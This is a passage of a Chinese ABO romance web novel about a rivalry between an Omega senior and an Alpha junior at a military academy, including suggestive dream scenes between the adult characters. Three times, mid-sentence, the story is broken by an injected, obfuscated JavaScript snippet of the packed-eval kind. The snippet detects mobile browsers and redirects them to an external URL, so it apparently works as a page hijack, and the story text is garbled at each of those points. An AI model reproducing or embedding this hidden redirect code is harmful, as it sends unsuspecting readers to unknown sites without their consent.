Alpha说话间的呼吸尽数喷洒在兰舒的颈侧,他小腹正痛得痉挛,忍着痛的情况下居然还能嗤笑出来:“故意针对……你可真够自信的。” 此刻的两人都不好受,然而肾上腺素正起着作用,一时间竟也感觉不到太多疼痛。 没等怒火中烧的Alpha说出什么,兰舒抬眸看着对方意味深长道:“你知道什么叫故意针对吗?” 漂亮到极致的Omega就那么躺在自己身下,哪怕双手被禁锢在头顶,浑身上下没有一处不在自己的掌控中,他却依旧毫不发怵地抬着鲜亮的眸子,一眨不眨地看着自己。 龙乾从来没有以这种角度看过兰舒,愣了一下后嗓子竟莫名有了几分干涩,心头更是泛起了一股说不清道不明的异样。 ——他现在是我的阶下囚。 兰舒见状似乎知道他在想什么,故而突然笑了一下,那一笑不带丝毫讽刺,一下子晃了龙乾的眼睛。 下一刻,像是为了向龙乾展示何为“针对”一般,兰舒轻轻抬起头,将两人之间本就所剩无几的空间瞬间缩小到了几近于零的地步。 这一下两人连鼻息都清楚地纠缠在一起,龙乾当场瞳孔骤缩:“你……” 那几乎是一个标准的索吻姿势,一个龙乾从未想过会在兰舒身上出现的动作。 ——他想干什么? 那漂亮到极致的Omega似乎一瞬间便看穿了他的兵荒马乱,几乎是贴着他的脸颊轻声道:“你看,就比如现在……你还是和之前一样自信。” 话音刚落,没等龙乾意识到这句话的意思,下一刻,兰舒蓦然收了笑意,竟直接抬头用尽全力撞了上去。 AO之间再怎么有生理差距,头骨的硬度是一样的。 一声闷响骤然响起,龙乾毫无防备间被撞得蓦然后仰,有那么几个呼吸间,时间好似凝滞了,他甚至感觉自己的世界中只有一片白光,五感彻底丧失,只剩下了一片寂静。 等到龙乾好不容易从那股巨大的晕眩中回过神时——胜负已经没有悬念了。 兰舒拽着他的领子一下子把人砸在了地上,那动作行云流水得好像他拎的不是一个身高接近一米九的Alpha,而是一只尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119863|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未成年的小狗。 一声巨响过后,全场鸦雀无声。 那些在心底或多或少瞧不起兰舒的新生,此刻舌尖都是麻的,一个个吓得跟小鸡崽一样。 可惜带他们来的龙乾已经躺在地上了,他们无处遁形,只能挤在角落里瑟瑟发抖,祈祷那位杀神一样的首席大人不要注意到他们。 兰舒喘着气起身,眼看着龙乾似乎是不服气,撑着地板还想挣扎,他抬脚便踩在了对方的胯上。 龙乾被他一脚踩得再次砸在地上,后背的伤第二次撞在地板上,看得旁边人都忍不住想替他喊疼。 Alpha想咽下喉咙的血味,却没能成功,最终只能忍着头晕侧脸吐了口血。 待胸口的灼烧感终于好受一点后,他擦了把嘴角的血迹,抬眸看向踩在自己身上的Omega嘲讽道:“你的头骨可比你的腹肌硬多了……学长。” 兰舒不接他的挑衅,只是踩着脚下的胯骨问道:“认输吗?” 龙乾闻言扯出了一个带着血味的笑容:“认你爹——” 话未说完,兰舒猛地一用力,龙乾突然没了声响。 有旁观者隐约之间似乎听到了骨头断裂的声音,不由得倒吸一口凉气。 好在那只是被兰舒武力吓出的幻觉。 龙乾疼得面色扭曲,可即便是疼成了这样,他依旧不肯认输。 从他入学开始,兰舒和他打了没有三十场也有二十场,胜负基本五五开,却没有一场有人愿意认输。 眼下这场显然也一样。 兰舒逆着光,就那么低着头看了龙乾良久,最终却并未强求对方认输。 他缓缓抬起了踩在对方胯骨上的腿,在对方怒火中烧的目光中,抬手拍了拍Alpha的脸颊,轻声嘲讽道:“回家喝奶吧,学弟。” 言罢他根本不给人反应的时间,捡起地上的杯子后转身便向宿舍走去。 方才暴力之中掺杂的那点旖旎,此刻在上位者毫无保留的嘲讽中荡然无存。 龙乾愣了一下后当即恼羞成怒:“兰舒,我艹你——” “哎哎哎——龙哥龙哥!算了算了。”跟着他一块来的新生见状终于起到了一定作用,连忙上来拦住他,生怕他口无遮拦再被兰舒拐回来揍一顿。 身后的喧闹声还在继续,兰舒却根本不在乎,头也不回地离开了训练场。 一直走到身后彻底没了声音,四周安静到能听到心跳声时,他才在无人的拐角处停下了步伐。 那强大到让人高不可攀的Omega终于在无人处流露出了些许底色。 他再难克制地深吸了一口气,肾上腺素随着这口气开始缓缓消退,身体后知后觉的泛起了疼痛,尤其是刚刚挨了一拳的小腹。 可疼痛并非最要命的事情,更要命的是——方才交手时,Alpha信息素的浓度太高了,高得甚至有些不正常,也不知道那小子到底在兴奋什么。 本就濒临发情期的兰舒哪怕是贴了抑制贴却还是被影响到了。 他微微蹙眉,抿着唇抬手按住了自己后颈的抑制贴。 这管不住自己信息素的小王八蛋…… 自己得尽快回去了。 站在基地模拟出的余晖下,兰舒垂着眸子如此想到。 * 是夜,龙乾冷着脸从浴室走出来。 他没有穿上衣,精壮无比的上半身还挂着水珠,肌肉线条优越得无话可说,奈何上面布满了淤青和血痕,充满了暴力色彩。 军校之中Alpha学生本就是最多的,宿舍自然紧缺,和Omega的单间、Beta的双人间不同,龙乾这个宿舍住了整整四个人。 剩下三个舍友见他冷着脸出来,纷纷眼观鼻鼻观心,根本不敢触他霉头。 一周之内被同一个人羞辱两次,就算是圣人来了恐怕也没什么好心情,更何况龙乾本就不是什么好脾气的人。 大家都心照不宣地装作无事发生的模样,直到龙乾躺在床上,他们才彻底松了口气。 刚满二十岁的Alpha包袱极其重,躺在床上的瞬间,后背的剧痛让他差点喊出声,但他却硬是为了面子咬着牙忍了下来。 待到身体逐渐适应了那股剧痛后,龙乾咬牙切齿地转过身,以一种巨大的恨意在心中发誓,接下来的几天一定要让兰舒好看。 他胸口好似堵着一团难以宣泄的无名火,此刻他还只当那是好胜心,并不知道那股灼热到几乎将他吞噬的情绪到底意味着什么。 一肚子恨意的Alpha就这么带着邪火闭上了眼睛。 宿舍逐渐安静了下来,夜色也变得浓郁起来。 过了不知道多久,所有人都已经陷入梦境的混沌中时,龙乾却突然从睡梦中惊醒。 他清晰无比地感觉到,自己似乎正被什么柔软而温热的东西禁锢着。 那东西裹得他动弹不得,整个人几乎都要窒息了。 ——敌袭!? 龙乾当即便从睡眠状态中彻底抽离了出来,他下意识想要绷紧肌肉,紧跟着却发现自己根本动弹不了。 正当他强迫自己冷静下来时,扑面而来的淡香混杂着炙热柔软的触感,一下子便把他给砸懵了。 “——!?” 没等龙乾意识到压在自己“脸”上的到底是什么,下一刻,他的耳边便响起了一道很轻很轻的声音,像是冰雪裹上了蜜糖,又像是海妖梦呓般的呢喃: “……老公。” 4. 亡夫 龙乾骤然间僵在了原地。 那声音虽然柔软到和平时大相径庭,声色却熟悉到让他汗毛倒立,以至于他几乎是瞬间便意识到了在他耳边说话的人是谁。 ——是兰舒。 对于龙乾来说,这简直是比十级噩梦更要恐怖的事情。 在极度的匪夷所思和惊恐下,他当即便想要起身,紧跟着却发现,自己根本做不了任何动作。 甚至不只是动作做不了,“龙乾”这个概念在这一刻好像都消失了,他甚至感觉不到自己的躯干,比起一个人,此刻的他似乎更像是某种……单薄而平整的东西。 龙乾蓦然感到了一丝毛骨悚然,可没等他细想,下一刻,一股陌生的香味在黑暗中弥漫开来,缓缓裹住了他。 在抑制剂已经高度发达的今天,很多Omega早就抛弃了使用起来相当麻烦的抑制贴,选择高强度的注射抑制剂,可兰舒是个例外。 从龙乾认识他的那天开始,这个Omega的后颈上就时时刻刻贴着抑制贴,以至于没有一个Alpha闻过他的信息素。 兰舒曾经有过一个追求者,因为没有追上他,所以在背地里跟人倒苦水说,兰舒为了他那个亡夫,三贞九烈到连味都不愿意让别人闻一下。 龙乾一直觉得兰舒这样的人甘愿为哪个Alpha守寡简直是天大的笑话,可这一点他却无法否认——他也从来没有闻到过兰舒的信息素。 久而久之,无论是从生理还是从情绪上,他几乎都忘了兰舒是一个Omega,往日冲突之时,甚至下意识地越过了Beta,直接把对方当成了Alpha。 然而这一切假象,终于在这个夜晚被砸得分崩离析。 一开始龙乾完全没有反应过来那股缭绕在自己身旁的清甜香味是什么。 过了良久他才勉强让自己的大脑运转了几分,进而意识到,那似乎是一股桃花香,而且似乎是……是兰舒的信息素。 怎么可能? Alpha的第一反应是荒谬,兰舒那样的Omega,信息素肯定极具进攻性,怎么会是桃花香…… 可整个念头尚未完全破土,下一刻他突然如遭雷劈般一下子僵在了黑暗之中。 ——他突然发现,不知何时,自己居然已经在潜意识中忖度过不止一次兰舒的信息素的味道。 在他的潜意识中,那高不可攀的Omega闻起来应当带着冰雪的气息,退一万步讲就算是花香,最多也只会是兰花那种淡香,不可能是什么艳俗的味道。 可让龙乾想破脑袋也没想到,那人的味道居然会是桃花香。 这香味闻起来确实不算太甜,只是带着沁人的芬芳,像是一朵分明熟透了却还没来得及结果的桃花。 这种感觉就好像你一直以来认为的,在自己面前清冽又傲慢的皑皑白雪,转头却被别人团成一团泡在了蜂蜜中。 再冷的冰雪最终也化在了腻人的芬芳中,甜得令人心醉。 只不过那香是偷来的,只是透过门缝给你闻一下,却并不属于你。 龙乾突然出离的愤怒了。 他不愿意承认自己是恼羞成怒,更不愿意承认他其实是在羞恼于自己怎么会在潜意识中如此在意兰舒的信息素。 他只敢把这股愤怒归咎于自己的没出息上——他分明白天才挨了兰舒的揍,晚上怎么能做这种梦!? 兰舒到底是什么味道跟他一分钱的关系都没有,这人就算是蜂蜜味的也无所—— 然而自欺欺人的想法尚未想完,下一秒,一道略微发凉的柔软触感便落在了龙乾的面颊上,一下子便将他彻底钉在了那里。 那是一个吻。 一个龙乾从来没有想过能和兰舒联系在一起的东西。 一个足以碾碎他一切理智的东西。 可“梦中”的兰舒似乎打定了主意不愿意让他好过,没等他从那股震惊中回过神,黑暗之中紧跟着传来一声更加清晰的呢喃:“老公……” “我好想你。” 没有比这更清晰的话了。 这一刻,分明没有任何直接的证据,可龙乾就是福至心灵地明白了自己在这段“梦中”扮演的究竟是什么角色——兰舒的丈夫。 只不过这个扮演和丈夫都是字面意义,或者说得更直白一些,兰舒亲吻的不是龙乾,而是他那个传闻中的亡夫。 ——他在亲吻自己亡夫的遗照,而龙乾,则好巧不巧的,在梦中变成了兰舒亡夫的遗照。 时空好似在这一刻凝滞了。 龙乾的第一反应本该是晦气,再不济也该是愤怒。 毕竟任谁突然梦到自己成了一个死人的遗像,恐怕都会觉得倒霉万分,恨不得立刻冲进浴室洗掉一身的晦气。 然而龙乾并没有。 方才只是因为闻到了兰舒信息素就勃然大怒的他,此刻却没有任何愤怒,反而蓦然间升起了一股说不清道不明的感觉。 其实学院乃至学校对于兰舒的传闻一直就没有断过,“寡夫”二字龙乾不止一次听到过,可他却从未当真。 两人起了这么多次冲突,期间有一次甚至双双打到住院,龙乾差点背了处分,兰舒却什么事没有。 当时龙乾在医院破口大骂的时候,周围有朋友替他打抱不平,愤愤地说传言肯定是真的,兰舒那个寡夫一定是托了他亡夫的关系才进的军校,如今不知道又搭上了谁,不然校方怎么会包庇的这么明显。 其他人纷纷应和,可前一秒还在义愤填膺,气得恨不得冲到兰舒面前吃了对方的龙乾,闻言却一下子安静下来,半晌淡淡道:“以后这种话不要再在我面前说了。” 再之后,那帮他在新生营便认识的朋友,便因此逐渐被他疏远掉了。 寡夫,一个多么方便用来攻击人软肋的词语,但龙乾从来没有用这个词嘲讽过兰舒。 对于刚满二十岁的年轻Alpha而言,用这种下三路的话去骂一个Omega,实在不是一个Alpha该做的事情。 更何况如果传闻是真的,那兰舒应当是他们某个牺牲战友的遗孀,他们便更不应该用这种词去戳人痛处了。 龙乾的Alpha父亲便是个军人,在他从小受到的教育中,“遗孀”,似乎该是一个严肃而凄婉的词语,甚至神圣到不可亵渎。 龙乾一直这么认为,直到……眼下。 在今晚之前,从来没有人教育过他——原来神圣与淫靡在夜晚是可以翻转的。 就像代表着新生的孕育一样,明明是所有人都认为神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119864|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣的过程,背后却藏着人类最淫靡的事情。 而寡夫、遗孀、未亡人…… 其实都一样。 无论这些词汇是贬低的,尊敬的,亦或者是自谦或怜悯的,都躲不过一种含义——它们都意味着这个Omega曾经被占有过,在另外一个不知名的Alpha身下臣服过。 龙乾突然陷入了前所未有的沉默,先前的震惊与不可思议在此刻消弭殆尽,某种阴暗的情绪难以遏制地开始在黑暗中滋生。 然而兰舒对此一无所知。 发情期前的几个夜晚总是漫长且难熬的。 绮丽到宛如月色的Omega仅穿着一件单薄的丝绸睡衣,半闭着眼靠在枕褥之间,一边咬着下唇,一边缓缓收紧了手上的力度,将怀中微凉的照片搂得更紧实了一些。 一张照片当然是不会有任何反应的,所以他抱的心安理得,就那么在黑暗中,肆意宣泄着那些晦暗的情绪。 ……反正也不会有人知道。 在某些艺术创作中,实力强大的Omega一定要伪装成Beta,有些甚至要伪装成Alpha,以此来彰显他们的强大,直到终局之时,他们才会和自己的身份和解。 在很多人眼中,兰舒也应当是这种角色。 只可惜,事实和大部分人想象的背道而驰,他恐怕要让很多厌恶Alpha并以他为榜样的Omega失望了。 他只是一个不愿意在无关紧要的人面前表露太多,实则忠于自己本性的Omega罢了。 兰舒垂眸再一次吻住了怀中的照片,在心底毫无负担地承认了自己的一切阴暗。 就像是一颗外观看上去冷质端方的玉桃,内里却已经熟透到殷红,散发着只有自己能闻到的颓靡香味。 Omega在潮汐将至的情潮中喘息着,任由白日不曾泄露分毫的信息素在屋内弥漫,充斥。 然而纵使信息素已经浓郁到了这种地步,眼下这种情况却依旧并非真正的发情期,打抑制剂对这一阶段的情潮根本不起作用。 当然,兰舒也根本不想打抑制剂。 滥用抑制剂不仅会对腺体造成不可避免的损伤,长此以往甚至会影响寿命。 他可是曾答应过什么人,从今往后要好好惜命的。 兰舒裹紧了手中的照片,缓缓闭上了眼睛,微微发烫的肌肤在黑暗之中牢牢地贴在了冰冷的照片上。 很多没有健身经验的人并不知道,肌肉在放松下来时其实是柔软的。 尤其是胸口的部分。 黑暗之中,Omega放松下来的胸口被挤压得几乎变了形,隔着睡衣布料贴在相片之上。 临近发情期的Omega经不起任何多余的刺激,所以睡衣布料特意选得薄如蝉翼,几乎起不到任何隔绝作用。 对于龙乾而言,他在黑暗中什么也看不到,故而反应了整整十秒才意识到那几乎要把自己溺毙的东西到底是什么。 然后他的大脑便瞬间成了一片空白,所有的情绪和思考荡然无存,只剩下白天时,身着军装,连扣子都不曾解开一粒的Omega首席,仰面看着自己时说出的那句极尽嘲讽之意的话语—— “肾虚就回家补,学长这里可没有奶,不用哭着来讨。” 5. 俯首 龙乾蓦然从梦中惊醒,整个人在黑暗中惊出了一身冷汗,瞳孔不受控制地收缩。 方才荒唐到极致的画面和难以言喻的柔软触感,如影随形地在脑海中回荡,好似一场经年的噩梦。 过了良久龙乾才终于感觉到手心处传来的阵阵刺痛,他机械般地垂下眸子,却见上面是他自己用指甲强行掐出的伤口。 ——应当便是这阵剧痛将他从梦境中唤醒了过来。 但他却好似感觉不到疼痛一般,就那么任由鲜血从指缝中淌出,一点点砸在被褥上。 被褥上晕开的血渍,红得就像盛开的桃花。 桃花…… 此念头一出,龙乾蓦然抬手捂住了自己滚烫的脸颊,手心的鲜血一下子擦在了脸上。 难以置信、荒谬和震惊同时涌上心头,胃中紧跟着升起了一股说不清道不明的微妙扭曲,一起在黑暗中发酵。 直到很久之后龙乾才意识到,那并非他下意识认为的,窥探到宿敌亦或者熟人私密的尴尬与反胃。 而是埋在骨子里的,完全出于本能的嫉妒。 可现在的他对此一无所知,脑海中一片混乱,堪称狼藉。 鲜血一滴滴砸在被褥上,舍友睡得无比醇熟。 在这样一片万籁俱寂的混乱中,龙乾竟没由得想起了他和兰舒的初遇。 很凑巧的是,那也是一个雨夜。 他到现在还清楚地记得,大雨滂沱的夜色中,那个绮丽如明月般的Omega垂下眼眸冷淡地看向他们:“我是你们本次军训的主教官,兰舒。” 龙乾当场便记住了那个Omgea的名字。 可能是出于Alpha的劣根,也可能是因为他天生好强的本性,至少是第一面,他对那个强大到足以俯视他们的Omega并没有什么恶感,反而十分期待从对方眼中看到赞扬到惊叹的神色。 只可惜,接下来整整三个月,任他如何努力,直到训练结束,他所期待的赞扬也并未在对方眼中浮现。 从始至终,他得到的只是那人平静到接近冷漠的俯视,以至于龙乾怀疑直到结束,兰舒也根本没记住自己叫什么。 从那一刻起,龙乾就可以肯定,兰舒不喜欢自己。 而入学之后发生的一切也证明了这个观点。 那人不喜欢他的性别,不喜欢他的年龄,不喜欢他的性格。 不喜欢他的一切。 ……是他先厌恶我的。 黑暗之中,阴郁幽暗的负面情绪如潮水般涌来。 胃中的翻腾感再次浮现,龙乾自暴自弃地骂了一声,起身冲进了浴室。 * 兰舒并不知道昨晚在自己看不见的地方到底发生了什么,睡了一觉起来后,他明显感觉自己的状态好了许多。 心情难得明媚的Omega扭头看向窗外的晨光,半晌才终于舍得起身,把抱了一夜的照片重新放进相框中挂在了床头。 可挂好后一抬头,他却蓦然撞进了照片中那人的眼眸。 兰舒不由得一愣,有那么一瞬间,他似乎感觉到了什么人正在跟自己对视,就好像…… 有人正在透过这双眼睛窥探自己一样。 此念头一出,兰舒心下骤然一跳,身体几乎是瞬间便产生了应激症状,肌肉猛然绷紧,整个人立刻进入了防备状态,连瞳孔都呈现出一种不自然地收紧状态。 ——普通人哪怕是受过一定的相关培训,也不可能做到这么敏锐和高强度的反应。 那是一种生活在长久监控条件下才会产生的极端反应。 然而无论兰舒如何警惕,照片依旧只是照片而已,安安静静地挂在那里,根本没有任何异样。 兰舒眯着眼和照片上的对视了将近半分钟,绷紧的肌肉才终于缓缓放松了下来。 ……应该只是自己想多了,或者是发情期前激素水平紊乱出现了幻觉而已。 照片怎么会活过来呢? 兰舒对自己荒谬的错觉感到了一丝好笑,随即放下警惕移开了视线。 他起身洗完漱,背对着墙上的照片脱下睡衣换好衣服,拿起床头的杯子走到了冰箱前。 然而,当兰舒拉开冰箱门的一瞬间,让人瞠目结舌的一幕出现了——那是一整墙的气泡水。 各种口味的气泡水琳琅满目地摆在那里,形成了一种让人触目惊心的压迫感。 不过似乎是发情期将近的缘故,今天的兰舒并没有和往常一样选择柠檬味的气泡水,而是就那么站在那面汽水墙前犹豫了起来。 最终,他在一众气泡水中选了一瓶白桃味的。 拧开瓶盖的一瞬间,白桃的气息混杂着汽水的味道扑面而来,闻起来就像兰舒自己的信息素被泡在了气泡水中一样。 Omega心情不错地眯了眯眼,将汽水倒进杯子里,拧紧杯盖确保没有任何人能窥探到内里后,拿着东西走出了宿舍。 宿舍门被主人反手关上,最后一缕光线彻底从门缝中消散,墙上的照片再次回到了黑暗之中,静待着主人的归来。 今天下午是开学常规的体能测验,所以上午仅排了一节技术课。 兰舒心情似乎不错,故而没有穿军装,而是很罕见地穿了一身深青色的常服。 那颜色沉重得有些像墨色,却格外衬人肤色。 这样一件不怎么符合Omega刻板印象的衣服配上兰舒那张脸,却带来了一种难以言喻的冲击感和杀伤力。 其他同学见状纷纷跟见鬼了一样,忍不住用余光偷偷打量他。 兰舒不为所动,拿着东西在最后一排坐下,打开光脑阅读起了最新一届奥林匹克军事竞赛的报名时间和新规。 他一直如此,几乎没什么朋友,也并不在乎别人怎么看他。 可今天偏偏出现了些许意外。 兰舒看了没一会儿便感觉到有一道视线落在自己身上,那目光灼热得好似要把他烫出一个洞来一样,而且迟迟没有移走,连兰舒都被看得实在受不了了,当即蹙眉余光瞟过去,然后他便愣住了。 却见前排被无数人簇拥的龙乾正一眨不眨地看着他,晦暗不明的眼神中透着股说不出的意味。 探寻、怀疑,除此之外还掺杂着某种……深不见底到让兰舒都心惊的情绪。 兰舒心下猛的一跳,回神后当即抬眸回望了过去。 两人目光在空气中相遇的一瞬间,周围所有人见状立马跟着紧张起来,以为他们又要像往日一样打起来了。 可龙乾对上兰舒的目光后,却猛的一僵,随即连忙移开视线,好似做贼心虚一样迅速。 ……? 兰舒有些不明所以地蹙了蹙眉。 难道是他理解错了?龙乾并不是想找他再打一架? 那这人刚刚一直看着自己干什么?吃错药了? 兰舒蹙眉看向龙乾略微有些僵硬的脊背,心下不由得升起了几分疑惑。 感受到后背迟迟不肯移开的目光,龙乾浑身僵硬之际,梦境中的画面却突然出现在脑海中。 ——“老公……” ——“我好想你。” 他瞬间惊起一身冷汗,当即沉下脸色掐住自己手心的伤口,剧痛勉强将他从梦魇中唤醒。 龙乾压着宛如擂鼓的心跳深吸了一口气,闭上眼在心中警告自己到——那只是一场梦而已,不要多想。 一上午的课上得一塌糊涂,龙乾根本不知道什么时候下的课。 期间他没再扭头看过那人一眼,而等到他彻底从那种梦魇般的境遇中回过神时,兰舒早已不见了踪影。 耳边的舍友似乎在喊自己去吃午饭。 龙乾不知道自己是怎么去的食堂,甚至连自己吃了什么都不太关心,等到他回神时,人已经回到宿舍了。 考虑到下午要测体能,睡眠不足恐怕要出事,于是浑浑噩噩一早上的龙乾终于决定暂时放过自己,躺在床上闭上了眼睛。 然而让他万万没想到的是,短短一个午睡,“梦境”却再次如约而至了。 * 兰舒吃完午饭回到寝室时,外面阳光正盛。 下午有体能测试,以兰舒现在的身体状况,过度的运动可能会导致信息素更加紊乱,进而影响后续的训练和计划。 不过好在时至今日,人类的医疗水平已经高度发达,无论是抑制剂还是抑制贴都能轻松买到,Omega基本不用再为发情期所累。 只不过在这种情况下,比起一针封闭的抑制剂,兰舒更爱用没什么副作用的强效抑制贴。 原因无他,抑制剂会直接覆盖这一次发情期,直到下一次发情期到来前才会彻底失效。连续使用两次以上便会导致信息素紊乱,进而产生发情期异常的症状。 相较之下,强效抑制贴只会起到24小时的即时作用,并不会导致信息素紊乱,也没有什么副作用。 只不过代价也是有的,强效抑制贴贴上的一瞬间,使用者会立刻经历被暂时标记的痛苦,而当24小时一到,抑制贴失效之时,标记消散的空虚也会如潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119865|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水般涌来。 在这期间,抑制贴并不能提供Alpha信息素来给予Omega安慰,这也就意味着,使用者分明没有尝到暂时标记的甜头,却要承担暂时标记的一切恶果。 这种看似收益和付出完全不成正比的情况,让许多Omega都对强效抑制贴退避三舍,唯独兰舒是个例外。 恰到好处的痛苦反而能让他感觉到自己还活着,而没有后遗症的药效也深得他心。 毕竟他现在可是很惜命的。 兰舒拉开冰箱门,先给自己倒了杯气泡水,又放了几枚冰块,看着细小的气泡从杯底浮起,他不紧不慢地喝了一口。 待杯中的汽水被喝下去小半杯后,兰舒才拉开床头的抽屉,从中拿出了一瓶高烈度的劲酒。 酒是军队严禁的物品,然而兰舒倒酒的动作却轻车熟路,仿佛完全不把所谓的规矩放在眼中。 用酒将气泡水满上后,他把酒杯放在了床头,一边醒酒,一边拉开了下面的抽屉,随手拿出了一枚抑制贴。 可当他看清楚抑制贴的模样时,动作却不由得顿了一下——那是一枚粉色的抑制贴。 他愣了三秒再次拉开抽屉,却见其中所剩无几的抑制贴居然全是粉色的。 兰舒:“……” 自己最近犯的疏忽似乎有些多,但现在去买已经来不及了,只能先凑合用,回头再补了。 他看了那抹粉色三秒,随即神色如常地关上了抽屉,摸索着解开了自己上衣的扣子。 上午的那点异样早被兰舒抛到了脑后,他在照片前毫无防备地脱了一半上衣,露出了光洁的肩膀和后颈。 受童年经历的影响,兰舒的皮肤本就比常人要偏白一些,此刻在阳光下被青色的布料一衬,更是白得有些耀眼,像一块莹润的玉石般,完美符合大部分人对美的一切幻想。 Omega低着头揭开了后颈上的普通抑制贴,往日被藏得极为严密的腺体,此刻就那么□□地暴露在空气中。 从墙上照片的角度看过去,垂着睫毛的美人毫无防备地在自己面前俯首称臣,那种堪称温顺的模样,足以勾起人心底最阴暗的恶与欲。 然而兰舒对此一无所知。 他公事公办地拿起抑制贴,用牙齿撕开包装后,反手摸索着自己的腺体贴了上去。 抑制贴刚贴上去的一瞬间,触感是冰凉的,算不上难受,但紧跟着大概过去了三秒,一阵宛如针扎般的感觉便骤然从后颈上席卷而来。 那强烈到几乎渗入骨髓的刺激本该伴随着Alpha信息素的肆虐,可眼下没有抚慰,只有痛苦。 兰舒蓦然闭上双眼,咬住下唇一下子撑在了床上。 雪白的脖颈与肩膀裸露在空气中细细颤抖着,往日中高不可攀的Omega此刻哪怕是咬住了下唇,却还是难以克制地泄出了一声呻.吟。 那呻.吟中浸染了极端的痛苦,可任何一个有过经验的Omega都知道,这种声音换不来任何Alpha的怜悯,只能唤起他们最本能的施暴欲。 ——所以一定要藏好。 兰舒掐着手心深吸了一口气,鲜血从指缝中淌出,莹白的锁骨在空气中颤抖不已,像是骨蝶震颤的两翼。 疼痛和刺激带来的冷汗顺着锁骨滚落,没入在青色的布料之中消失不见。 过了差不多一分钟,身体上的痛苦刚出现稍微减轻的迹象,兰舒当即便拿起手边的气泡酒一饮而尽。 手心的鲜血顺势蹭在玻璃杯的杯壁上,看起来竟有些像艳红的桃花纹。 事实证明,酒确实是麻痹神经的良药。 颤抖很快在酒精的作用下平息了下来,只剩下胸口微微的起伏。 冷汗在空气中被吹作凉意,兰舒缓缓睁开双眼,拿起杯子喝下了其中的最后一滴酒。 他叼着浸满气泡酒的冰块轻轻喘着气,衣衫不整地抬起双眸,瞳孔有些失焦地看向那张照片。 那似乎是一个完全出于下意识的动作,他的眼神尚未完全清澈,眼角还带着没来得及褪去的红,透着股说不出的依赖感。 半晌,酒液和碎掉的冰块顺着喉管滑入,兰舒终于从那股疼痛的余韵中恢复清醒时,脑海中浮现的第一个念头却是——酒是军校内严禁的东西,若是被某人发现他私藏违禁品,以此为把柄恐怕还不知道会怎么要挟兰舒。 不过幸好…… 他低头舔了舔自己手心处渗出来的鲜血,感受着酒精擦拭过伤口的痛楚。 幸好这一切无人知晓。 6. 角力 下午的天气和中午一样明媚。 体测中心坐落于一处独立且巨大的空间要塞,这里往日主要用于全息模拟实战,而在每年的开学季,这里则会作为临时的体测场所。 说是体能测试,其实相当于每学期开学时给学生的一个缓冲,方便归校的学生尽快进入状态,因此对于每个人要参加的体测项目也并无强制性的顺序。 而新生们的体能水平早在入学军训的第一天便已经测验完毕了,所以他们并不需要来参加相关测验,但尽管如此,还是有不少新生选择了来现场看热闹。 基地巨大的白色穹顶被阳光所笼罩,向下投射出一圈堪称圣洁的光晕。 来得早的学生正站在入口处等朋友,一晃眼却瞟到远处一个格格不入的身影向他们走来。 众人见状一愣,大部分学生为了方便运动,穿的都是作训服或者自己的运动服,可唯独来者是个例外。 兰舒穿着高领的白色军装面无表情地穿过人群,漂亮得和周围格格不入。 一个Alpha见状忍不住和身旁人小声吐槽道:“啧,他还真是一如既往的喜欢装。” 然而今日非同以往,不仅是他们太空作战一个学院,全校所有非新生的学生都来参加体测了。 其中就包括太空医学、宇宙军事史、类地语言通讯等Beta和Omega占比较高的学院。 故而那Alpha话一出口,一旁一个Beta当即便翻了个白眼,周围不少Omega闻言也扭头向他投来了凉凉的目光。 要知道兰舒在整个学校的知名度是相当高的,相较于某些大Alpha主义患者对于兰舒的敌意和不满,大部分Beta和Omega刚好相反,后者中的一部分甚至还将兰舒视为偶像。 只可惜他们的偶像倒是对ABO三个性别做到了真正的一视同仁——一视同仁的漠视。 那嘴欠的Alpha在隔壁系一众Omega的目光下被迫闭了嘴,随即像是要找家长打报告一样不忿的扭头,却见身旁人居然也正看着远处兰舒的背影。 “龙哥……龙哥?” 身旁跟来看热闹的新生似乎在喊自己,可龙乾不为所动,依旧眼神发暗地凝望着那人的背影。 龙乾的舍友们见状忍不住对视了一眼,均从对方眼中看到了不解。 ——龙乾从午休结束后就一直是这副模样。 他好像在中午睡觉的时候梦到了什么让他这辈子都难以忘却的画面,以至于眼神发暗,整个人透着股说不出的阴郁。 舍友中年纪最小,名叫宫巍的一个男生终于忍不住了,大着胆子开口道:“龙哥,你是不是——” 易感期提前了? 可他的话没说完,身旁人突然抬脚快步向远处走去,空留宫巍一人有些怔愣地站在原地。 基地的另外一个角落,兰舒径自推开了测力室的大门。 室内没什么人,以银色为主的装潢在阳光的折射下显得有些空旷。 体能测试刚刚开始,不少学生都在外面的田径项目等同学,毕竟田径项目大部分是五到十人一组,具有很好的互动性和对抗性。 